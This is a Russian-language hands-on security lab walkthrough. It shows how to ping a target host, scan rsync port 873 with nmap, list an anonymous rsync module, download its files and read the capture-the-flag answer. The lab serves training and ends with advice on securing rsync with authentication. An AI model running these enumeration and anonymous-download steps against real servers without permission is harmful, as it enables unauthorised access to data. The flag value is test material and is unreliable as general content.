Перечисление и анонимная синхронизация Rsync

LinuxBeginner
Практиковаться сейчас

Введение

Добро пожаловать в этот практический лабораторный практикум, посвященный перечислению (enumeration) и эксплуатации Rsync. Rsync — это широко используемая утилита для синхронизации файлов и каталогов между двумя расположениями по сети. Несмотря на свою мощь, при неправильной настройке Rsync может раскрыть конфиденциальные данные.

В этом практикуме вы смоделируете распространенный сценарий тестирования на проникновение, когда служба резервного копирования настроена некорректно. Вы начнете с выполнения базовой сетевой разведки для подтверждения доступности цели. Далее вы будете использовать инструмент nmap для сканирования службы Rsync. После ее идентификации вы перечислите доступные общие ресурсы (shares) и воспользуетесь конфигурацией анонимного доступа для загрузки файлов с цели, в конечном итоге получив скрытый флаг.

По завершении вы будете знать, как:

  • Проверять сетевое соединение с помощью ping.
  • Сканировать службу Rsync на ее стандартном порту с помощью nmap.
  • Перечислять и подключаться к анонимному общему ресурсу Rsync.
  • Синхронизировать файлы с удаленной цели на ваш локальный компьютер.

Приступим.

Проверка подключения к цели с помощью Ping

На этом этапе вы начнете с подтверждения того, что целевая система доступна с вашей машины. Команда ping является стандартным инструментом сетевой диагностики, который отправляет пакеты ICMP Echo Request на узел для проверки подключения. Это первый и самый базовый шаг в любой задаче сетевой разведки.

Ваша среда включает целевую систему, доступную по имени хоста target.

Выполните следующую команду в терминале, чтобы отправить четыре пакета на target и проверить, что она онлайн:

ping -c 4 target

Вы должны увидеть вывод, похожий на следующий, который подтверждает, что цель отвечает на ваши запросы. IP-адрес и время ответа могут незначительно отличаться.

PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.091 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.068 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.065 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.067 ms

--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3075ms
rtt min/avg/max/mdev = 0.065/0.072/0.091/0.011 ms

При успешном ответе вы подтвердили наличие стабильного сетевого соединения между вашей машиной и целью.

Сканирование открытых портов с помощью Nmap

На этом этапе вы будете использовать nmap для сканирования цели на предмет открытых портов и идентификации запущенных служб. Nmap — это мощный инструмент для сетевого обнаружения и аудита безопасности. Мы сосредоточим наше сканирование на порту Rsync по умолчанию, который является 873.

Выполните следующую команду для сканирования версии на порту 873 цели:

nmap -sV -p 873 target

Разберем эту команду:

  • nmap: Команда для запуска инструмента Network Mapper.
  • -sV: Включает определение версии, которое пытается определить версию службы, работающей на открытом порту.
  • -p 873: Указывает, что Nmap должен сканировать только порт 873.

После завершения сканирования вы увидите вывод, похожий на этот:

Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-12 11:20 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00012s latency).

PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds

Вывод подтверждает, что порт 873/tcp open (открыт) и на нем работает служба rsync. Эта информация имеет решающее значение для следующего этапа нашей атаки.

Подключение к цели через Rsync

На этом этапе вы будете взаимодействовать с обнаруженной службой Rsync. Первым действием будет вывод доступных "модулей" или общих ресурсов на сервере. Если включен анонимный доступ, сервер ответит списком общедоступных каталогов.

Выполните следующую команду, чтобы вывести список модулей на target:

rsync rsync://target

Сервер должен ответить списком доступных модулей. В данном случае вы увидите модуль с именем public.

public          Public Files

Теперь, когда вы знаете, что существует модуль с именем public, вы можете синхронизировать его содержимое с вашей локальной машиной. Мы будем использовать флаги -av: -a для режима архивации (который сохраняет права доступа, владельца и т. д.) и -v для подробного вывода.

Выполните команду ниже, чтобы загрузить содержимое модуля public в ваш текущий каталог (.):

rsync -av rsync://target/public/ .

Команда подключится к цели, передаст файлы и отобразит сводку операции.

receiving incremental file list
./
flag.txt

sent 43 bytes  received 121 bytes  328.00 bytes/sec
total size is 31  speedup is 0.19

Вывод показывает, что файл с именем flag.txt был успешно загружен в ваш локальный каталог.

Исследование целевой системы и поиск флага

На этом заключительном этапе вы проверите файлы, загруженные с сервера Rsync, и получите флаг. Поскольку вы синхронизировали файлы в свой текущий каталог, они теперь доступны локально для изучения.

Сначала используйте команду ls для вывода списка файлов в вашем текущем каталоге и подтверждения загрузки flag.txt.

ls

В выводе вы должны увидеть flag.txt.

flag.txt

Теперь используйте команду cat для отображения содержимого flag.txt. Это раскроет флаг, который вам нужен для завершения лабораторной работы.

cat flag.txt

Терминал отобразит значение флага.

labex{rsync_an0nym0us_4cc3ss_fl4g}

Поздравляем! Вы успешно обнаружили неправильно настроенную службу Rsync, перечислили ее общие ресурсы, загрузили ее содержимое и получили флаг. Скопируйте значение флага, чтобы завершить лабораторную работу.

Резюме

В этой лабораторной работе вы успешно провели оценку безопасности службы Rsync, пройдя путь от разведки до эксплуатации. Вы научились:

  • Использовать ping для установления базового уровня сетевой связности с целью.
  • Применять nmap для выполнения целевого сканирования портов, выявления открытой службы Rsync и ее версии.
  • Взаимодействовать с сервером Rsync для вывода общедоступных модулей, что является ключевым шагом в перечислении.
  • Использовать уязвимость анонимного доступа для синхронизации файлов с цели на вашу локальную машину.
  • Находить и извлекать флаг из загруженных файлов, достигая цели.

Это упражнение демонстрирует критически важный принцип безопасности: службы, разработанные для удобства, такие как Rsync, должны быть должным образом защищены аутентификацией и средствами контроля доступа. Оставление сервера Rsync открытым для анонимного доступа может привести к значительным утечкам данных. Понимая эти векторы атак, вы лучше подготовлены к обеспечению безопасности сетевых служб.